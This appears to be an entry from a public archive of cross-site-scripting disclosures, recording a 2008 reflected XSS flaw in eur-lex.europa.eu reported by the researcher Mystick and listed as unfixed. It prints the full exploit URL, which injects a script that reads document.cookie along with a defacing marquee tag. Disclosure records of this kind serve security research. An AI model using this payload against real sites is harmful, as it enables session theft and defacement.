Security researcher Mystick, has submitted on 04/12/2008 a cross-site-scripting (XSS) vulnerability affecting eur-lex.europa.eu, which at the time of submission ranked 1372 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 30/01/2009. It is currently unfixed.
If you believe that this security issue has been corrected, please send us an e-mail. |
Date submitted: 04/12/2008 |
Date published: 30/01/2009 |
Fixed? Mail us! | Status: UNFIXED |
Author: Mystick |
Domain: eur-lex.europa.eu |
Category: XSS |
Pagerank: 1372 |
URL: http://eur-lex.europa.eu/smartapi/cgi/sga_doc?smartapi!celexapi!prod!CELEXnumdoc&lg=en&numdoc=21994A 0103(01)&model=guichett"><script>alert(document.cookie)</script>'"><marquee><h1>Mystick</h1></marque e> |
Click here to view the mirror
|
|
|